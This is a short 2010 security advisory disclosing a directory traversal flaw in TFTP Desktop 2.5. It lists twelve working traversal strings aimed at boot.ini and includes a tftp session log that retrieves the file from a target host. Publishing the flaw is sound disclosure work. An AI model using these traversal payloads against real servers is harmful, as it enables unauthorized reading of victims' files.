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TFTP Desktop 2.5 Directory Traversal Vulnerability
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Author: chr1x ([email protected])
Date: August 30, 2010
Affected operating system/software, including full version details
TFTP Desktop version 2.5, Tested on Windows XP PRO SP3
Download:
http://www.mynet2.com/soft/Software%20Archive/TFTP%20Server/tftp_desktop_free.exe
How the vulnerability can be reproduced
Attack strings below:
[*] Testing Path: .../.../.../boot.ini <- Vulnerable string!!
[*] Testing Path: .../.../.../.../boot.ini <- Vulnerable string!!
[*] Testing Path: .../.../.../.../.../boot.ini <- Vulnerable string!!
[*] Testing Path: .../.../.../.../.../.../boot.ini <- Vulnerable string!!
[*] Testing Path: .../.../.../.../.../.../.../boot.ini <- Vulnerable string!!
[*] Testing Path: .../.../.../.../.../.../.../.../boot.ini <- Vulnerable string!!
[*] Testing Path: ...\...\...\boot.ini <- Vulnerable string!!
[*] Testing Path: ...\...\...\...\boot.ini <- Vulnerable string!!
[*] Testing Path: ...\...\...\...\...\boot.ini <- Vulnerable string!!
[*] Testing Path: ...\...\...\...\...\...\boot.ini <- Vulnerable string!!
[*] Testing Path: ...\...\...\...\...\...\...\boot.ini <- Vulnerable string!!
[*] Testing Path: ...\...\...\...\...\...\...\...\boot.ini <- Vulnerable string!!
Confirmation log:
[email protected]:/# tftp
tftp> connect
(to) 192.168.1.53
tftp> ascii
tftp> get
(files) .../.../.../.../.../.../boot.ini
Received 211 bytes in 0.0 seconds
tftp> quit
What impact the vulnerability has on the vulnerable system
* High, since when exploiting the vulnerability the attacker is able to get full access to the victim filesystem.
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